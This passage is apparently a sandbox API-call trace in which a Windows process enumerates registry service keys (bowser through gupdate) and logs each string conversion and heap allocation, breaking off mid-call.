WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.289] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1418, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0166.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.290] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.290] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.290] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.290] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0166.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.291] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.291] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.291] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1460, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.291] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0166.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1418, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.292] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1460, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.292] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0166.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1418, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.293] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1460, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.293] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1418 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1418, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1418) returned 1 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1460) returned 1 [0166.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0166.293] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0166.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1460 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1460, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0166.293] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0166.294] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0166.295] RegEnumKeyW (in: hKey=0x140, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0166.296] RegEnumKeyW (in: hKey=0x140, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0166.297] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0166.297] RegEnumKeyW 